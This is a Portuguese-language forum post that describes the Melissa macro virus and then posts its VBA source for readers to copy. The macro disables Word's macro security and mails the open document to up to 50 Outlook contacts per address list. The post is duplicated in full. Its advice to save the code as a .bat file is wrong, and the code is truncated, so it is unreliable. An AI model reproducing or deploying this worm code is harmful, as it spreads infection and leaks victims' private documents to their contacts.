Olá para todos ^^
Vocês se lembram do virus Melissa?
O Virus Melissa Um dos vírus que mais ganhou popularidade nos últimos dois meses foi o Melissa. Ele é um vírus de macro que, similarmente ao Happy99.exe (que estudamos na semana passada), envia e-mails sem a autorização do usuário.
A sua popularidade se deve ao fato desse ter sido o vírus que mais rápido se alastrou pelo mundo. Para você ter uma idéia do que isso significa, a primeira notícia na mídia especializada relatando os estragos desse vírus foi publicada apenas seis horas depois do vírus ter sido detectado pela primeira vez.
Esse vírus é escrito especificamente para o Word 97 e superiores (Word 98 para Mac e Word 2000) e, quando ativado, envia e-mails através do Outlook. O problema é que ele envia esses e-mails sem a autorização do usuário e com os últimos arquivos que você trabalhou no Word em attach. Isso significa que dados confidenciais podem ser enviados sem a sua autorização. Em empresas que possuem conexão dedicada com a Internet, isso ainda significa um prejuízo extra. Se muitos usuários estiverem infectados, com certeza o servidor de e-mail da empresa ficará congestionado, por causa da quantidade de arquivos em attach a serem enviados.
Quando você recebe um arquivo do Word em attach vindo de alguém conhecido, é muito provável que você abra ele. Se você fizer isso, automaticamente sua máquina estará infectada. Como sempre recomendamos, antes de abrir qualquer arquivo em attach, salve o arquivo em disco e passe um antivírus antes de mais nada, por mais conhecida que seja a pessoa. Como o Melissa é um vírus de macro, qualquer antivírus atualizado consegue removê-lo.
Importante notar que, mesmo que seu micro não possua modem e você não tenha acesso à Internet, você pode pegar esse vírus como um outro vírus de macro qualquer, ou seja, através de documentos do Word trazidos por amigos e colegas de trabalho em disquetes ou similares. Após a infecção de sua máquina, todos os seus documentos do Word passarão a ser automaticamente infectados pelo vírus.
Importante notar que, como é escrito usando rotinas para o envio de e-mail, esse vírus não funciona no Word 6 nem no Word 95 ("Word 7"). Além disso, você precisa ter instalado em sua máquina o Outlook 97 ou 98 para que ele consiga passar e-mails. Note que esse vírus não consegue passar e-mails com o Outlook Express.
Quando os minutos do relógio do micro "batem" com o dia do mês, por exemplo, às 16:10 do dia 10, o vírus acrescenta o seguinte texto aos documentos que estiverem abertos no Word: "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.". Esse texto foi retirado de um dos episódios da série de TV Os Simpsons
(Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...)
Pois bem... aí está o código de um dos maiores virus do mundo!
So tem que copiar e colar no bloco de notas e salvar com a
estensao .bat
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security",
"Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security",
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by
Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
Espero que tenham gostado
See you
M1r4g3
Vocês se lembram do virus Melissa?
O Virus Melissa Um dos vírus que mais ganhou popularidade nos últimos dois meses foi o Melissa. Ele é um vírus de macro que, similarmente ao Happy99.exe (que estudamos na semana passada), envia e-mails sem a autorização do usuário.
A sua popularidade se deve ao fato desse ter sido o vírus que mais rápido se alastrou pelo mundo. Para você ter uma idéia do que isso significa, a primeira notícia na mídia especializada relatando os estragos desse vírus foi publicada apenas seis horas depois do vírus ter sido detectado pela primeira vez.
Esse vírus é escrito especificamente para o Word 97 e superiores (Word 98 para Mac e Word 2000) e, quando ativado, envia e-mails através do Outlook. O problema é que ele envia esses e-mails sem a autorização do usuário e com os últimos arquivos que você trabalhou no Word em attach. Isso significa que dados confidenciais podem ser enviados sem a sua autorização. Em empresas que possuem conexão dedicada com a Internet, isso ainda significa um prejuízo extra. Se muitos usuários estiverem infectados, com certeza o servidor de e-mail da empresa ficará congestionado, por causa da quantidade de arquivos em attach a serem enviados.
Quando você recebe um arquivo do Word em attach vindo de alguém conhecido, é muito provável que você abra ele. Se você fizer isso, automaticamente sua máquina estará infectada. Como sempre recomendamos, antes de abrir qualquer arquivo em attach, salve o arquivo em disco e passe um antivírus antes de mais nada, por mais conhecida que seja a pessoa. Como o Melissa é um vírus de macro, qualquer antivírus atualizado consegue removê-lo.
Importante notar que, mesmo que seu micro não possua modem e você não tenha acesso à Internet, você pode pegar esse vírus como um outro vírus de macro qualquer, ou seja, através de documentos do Word trazidos por amigos e colegas de trabalho em disquetes ou similares. Após a infecção de sua máquina, todos os seus documentos do Word passarão a ser automaticamente infectados pelo vírus.
Importante notar que, como é escrito usando rotinas para o envio de e-mail, esse vírus não funciona no Word 6 nem no Word 95 ("Word 7"). Além disso, você precisa ter instalado em sua máquina o Outlook 97 ou 98 para que ele consiga passar e-mails. Note que esse vírus não consegue passar e-mails com o Outlook Express.
Quando os minutos do relógio do micro "batem" com o dia do mês, por exemplo, às 16:10 do dia 10, o vírus acrescenta o seguinte texto aos documentos que estiverem abertos no Word: "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.". Esse texto foi retirado de um dos episódios da série de TV Os Simpsons
(Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...)
Pois bem... aí está o código de um dos maiores virus do mundo!
So tem que copiar e colar no bloco de notas e salvar com a
estensao .bat
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security",
"Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security",
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by
Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't
show anyone else Wink"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
Espero que tenham gostado
See you
M1r4g3
Comment